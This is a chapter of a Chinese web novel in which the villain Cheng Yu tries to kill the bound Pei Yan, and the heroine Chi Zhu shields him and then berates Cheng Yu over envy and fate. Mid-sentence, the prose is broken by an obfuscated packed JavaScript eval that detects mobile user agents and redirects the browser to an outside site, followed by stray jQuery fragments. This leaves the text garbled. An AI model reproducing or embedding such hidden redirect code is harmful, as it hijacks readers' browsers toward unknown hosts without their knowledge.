77. 留有余地

作品:《反派怎么可以杀不死

    程煜话音一落,掌间蓄起灵力,抬手一掌朝着裴衍脑袋挥去,裹挟着一阵强烈的冲击感,速度之快,都让人来不及反应。


    池竹清楚凭自己现在的实力根本抵挡不住这一击,脑海中百转千回,闪过各种办法。但身体率先做出反应,毫不犹豫地挡在了裴衍身前。


    “你不要命了!闪开!”


    裴衍瞪大双目,伸手去推池竹,试图将她推开。只是他身体被绑在椅子上,根本使不出多大力,推搡了几下也没能将她彻底推开。


    他急得泪水蓄在眼眶中打转。


    程煜见状,瞳孔骤缩,意识到池竹决计要替裴衍承受这一击,于是来不及多想,慌忙收回那一掌,随即裹挟着一阵强烈的反噬感震在他胸口,使得他连连后退几步,嘴角渗出一丝血迹。


    “为了他,你宁愿搭上自己的命?”


    他神色间满是受伤,眼底的唯一一点光亮仿佛在逐渐变得稀碎。


    程煜似是不敢相信眼前的一切,望着池竹歇斯底里地带着质问。


    “你从前何曾有过现在的半点心?为什么?为什么总是落不到我身上?但凡你当初有如今十分之一的真心,也不至于走到今天这种地步。”


    池竹没回他,只是冷眼旁观着他的狼狈,一动不动地护在裴衍身前,摆出一副母鸡护崽的架势,盯着程煜的目光狠厉倔强。


    她虽疑惑程煜口中的从前,但现下事态严峻,根本容不得她多想其他,便自动屏蔽了他话中的其他意思,只当他在疯言疯语。


    “可惜,你越是护着他,他今日越是只能沦落到必死之局!”


    程煜嘴角扯出一抹僵硬的笑,抬手拭去嘴角上的血迹:“你以为,你挡在他身前,我就拿他没办法?”


    他眼神冷漠至极,伸出手指朝着池竹的方向勾了勾。随即,池竹感受到有一股强大到不可抗的吸力,即使她再怎么紧紧拽着裴衍,还是被硬生生拉扯着朝程煜手上飞去。


    见状,裴衍神色焦急慌张,不停地晃动着身下的椅子,试图挣脱束缚。


    程煜单手拎着池竹后脖颈的皮毛,嘴角的笑意咧开极大,趴在她耳边,带着讽刺轻声笑道:“你看,现在你还能挡在这个小废物面前,护着他吗?”


    “你与他在我面前都手无缚鸡之力,又何必挣扎反抗?明明才在一起待了一个月左右,哪来那么深的感情?”


    说着,他语气放柔下来,带着一丝不易察觉的诱惑:“听话!只要你别管他的死活,其余的你要什么我给什么!”


    “是吗?这么一听,程公子可真是大方,仅仅要他一条命,便对我有求必应。”


    池竹面色阴沉得仿佛能滴出水,浑身的毛发都几乎竖立起来,双手紧紧地攥成拳。


    “可我若说不愿意呢?”


    “不愿意啊?”


    程煜嘴角漾开戏谑的笑,眼底染上几分若隐若现的嗜血的杀意:“没关系,毕竟我不是在同池姑娘商量,只是简单地通知一声,好让池姑娘有个心理准备。”


    “放开我!”


    池竹在他手中不停地挣扎,声音嘶哑坚决:“程煜!你敢动他一下,我绝对会杀了你!”


    该死的白泽!关键时候总找不到他!非要让她受制于人!到现在还没回来,难道是要等到裴衍被程煜杀掉,剧情全部崩坏的时候再回来吗?!


    还有该死的总部,配的什么破系统?关键时候总找不到踪迹,能有什么天大的事,非要在出任务的时候调回系统!是不是巴不得她任务失败?!


    若不是她此时孤立无援,一定要让程煜死无全尸!


    她气急了,在心里把所有能骂的人都骂了个遍。


    “好好好!”程煜哂笑出声:“我等着你杀我的时候,我巴不得能死在池姑娘怀里!总比有朝一日死于他人之手来得强。”


    “呸!你个疯子!”


    池竹被他变态扭曲的想法恶心得想吐。


    程煜却放声大笑起来,诡异阴鸷的笑声在空旷的房屋周围回荡:“我就当池姑娘这是夸奖。”


    池竹脸色瞬间拉了下来,在心里翻了个白眼:真是林子大了,什么鸟都有!见过不要脸的,没见过像他这么不要脸的!


    趁着二人争吵的空隙,一旁的裴衍不动声色地悄悄解开了束缚在身上的绳索。


    在绳索掉落到地上的瞬间,他以迅雷不及掩耳之势从椅子上跳起来,直冲向程煜。


    只是还没等他触碰到程煜的衣衫一角,便已经被他察觉。程煜目光轻蔑地瞥了一眼裴衍,轻轻一挥手便将他击飞了出去,使他重重摔在桌凳上,又滑落到地上。


    裴衍瘫倒在地上,手脚都使不上力,一时爬都爬不起来。


    他只感觉,仿佛浑身的骨头都被硬生生撕裂开来一般,密密麻麻地痛,喉间传来一股腥甜的味道,轻轻一咳,便咳出一大滩血迹,直接染红了一片衣袖。


    “裴衍!”


    见状,池竹神色焦急地大喊一声,用尽全力从程煜怀中挣扎出一点,又瞬间被他按了回去。


    程煜神色冰冷的不掺杂一丝感情,视线落在裴衍身上时,如同一个高高在上的上位者,垂眸睥睨着一只于他而言,毫无反抗之力的卑贱蝼蚁。


    他语气轻蔑,嗤笑道:“池姑娘看到了吗?这就是不自量力的下场!”


    “所以呢?你想表达什么?”


    池竹阖上眼,抑制住眼眶中差一点流出的泪水,深吸一口气,强压下心底的怒气和恨意,语气冷漠森然道:“是沾沾自喜能将别人踩在脚下,是自以为是能掌控他人的生死?还是你所作所为带来的一丝快感?”


    她说着,忽然冷冷地笑出了声。


    “一个人越是炫耀什么,越是强调什么,便恰恰证明了他越缺少什么。”


    “程煜,裴衍说得不错,你这个人真的很可悲!你自己得不到的,偏要别人也得不到,你其实羡慕、嫉妒又滋生出强烈恨意!凭着自己仅有的法力,强压在别人身上。”


    随着她如同戳心窝子的话音,一句句落下,程煜紧抿着唇,手指捏得泛白,面上惨白地没有一丝血色,呆愣愣地站着一言不发。


    池竹目光死死盯着他,一字一句剖析道:“你觉得这样很好玩,是吗?能满足你心底的扭曲,对吗?”


    “阴暗处生长的潮苔,骨子里的卑鄙龌龊,藏匿心底的扭曲不堪!你所做的事,都令人感到不齿,恶心!”


    直到她吐出最后一句话,程煜依旧麻木呆愣地站着,久久都没能回过神来。


    他低头敛着眼睫,身体控制不住地微微发抖。那些话仿佛在此时化作极为锋利的刀刃,一下下扎在他的心头。


    钻心刺骨,密密麻麻的疼痛感,在一瞬间遍布四肢百骸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15167393|164608||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,就像是在被数万只蚊虫啃噬。


    他脚下步子一晃,差点儿没站稳,栽倒在地上。


    池竹见程煜半晌都未曾开口反驳一字,猜到是自己的心理战术起到了一定作用。


    她接着乘胜追击,不留给他丝毫反应的间隙,开口道:“你非要置裴衍于死地,我想不到你在嫉妒他什么,他所拥有的什么和你有冲突?是因为我,还是因为其他?”


    “若只是因为我,那我想知道,你到底是谁?还是因为你心底足够阴暗和自卑,所以连用真面目来见我的勇气都没有吗?!”


    “不!不是这样的!”


    程煜猛地抬起头,神色癫狂起来,双目充血,面目狰狞,望向裴衍的目光更加狠厉起来,撕心裂肺地大吼出声,像是为证明什么。


    “我怎么可能嫉妒他?!他连保护自己都做不到!他就是个废物,有什么值得我嫉妒?!明明现在的我,才是我最想看到的样子!”


    闻言,瘫倒在地上的裴衍紧紧咬着唇,低下头没出声,似乎是在心底默默认同了程煜说的话。


    “他是不是废物,不是由你说了算!甚至,他自己说了都不算!”


    池竹反驳道:“你说他什么都做不到,可每个人生来能力不同,一件事只要尽自己所能,即使结果不尽如人意,也没人会认为他是废物!若真有人这么说,那也不是他的错,而是说出这句话的人,是他们的错!”


    “凭什么都要揽到自己身上?明明没有错,却要在别人的一声声讨伐中堕落,日日活在自我否定中,难道不累吗?”


    闻言,裴衍略显僵硬地抬起头,眸中盛着一点细碎的光亮,又拼命挣扎着想从地上爬起来。


    程煜泪水涌到眼眶,整个人显得极为狼狈不堪,用尽最后一丝力气大吼出声。


    “可世人都这么说!难道……”


    池竹没等程煜说完,直接打断了他的话。她神色认真开口,一句话掷地有声,振聋发聩。


    “那就是世人都错了!”


    “天地不仁,以万物为刍狗,谁给他们的资格,站在道德的制高点去指责别人的对错?”


    “你……”


    程煜愣愣地望着她,陷在她话中久久没回过神。


    从未有人同他这样说过,他分不清楚池竹话中对错,却又找不到任何理由反驳。


    或许,即使有万千理由盘桓在脑海中,即使话到嘴边,却被他硬生生压了下去,不想说出一句反驳的话……


    如若默默认同池竹所说的话都是对的,如若他能彻底摒弃,曾经那些人日复一日灌输给他的……


    是不是所发生过的一切不好都会……


    思及此,程煜没敢再往下想,他甚至一时有些接受不了冲击。


    而池竹又接着道:“我不知道在你身上发生过什么?才会造成你如今的模样。但就拿裴衍来说,一出生便被预测为不详,妄想用轻飘飘的一句话判定他的一生!不知道的还以为,为他预测命格的人,身上背着天道的旨意!”


    “可即使是天道,也不会轻下论断!更不会堵死一个人所有的出路,不留余地!”


    她说完,程煜沉默半晌,脑海中消化干净她的话,好一会儿才艰难开口。


    “你总是话说得好听,可真正将我逼到绝路的不是世人,偏偏就是你口中会留有余地的天道……”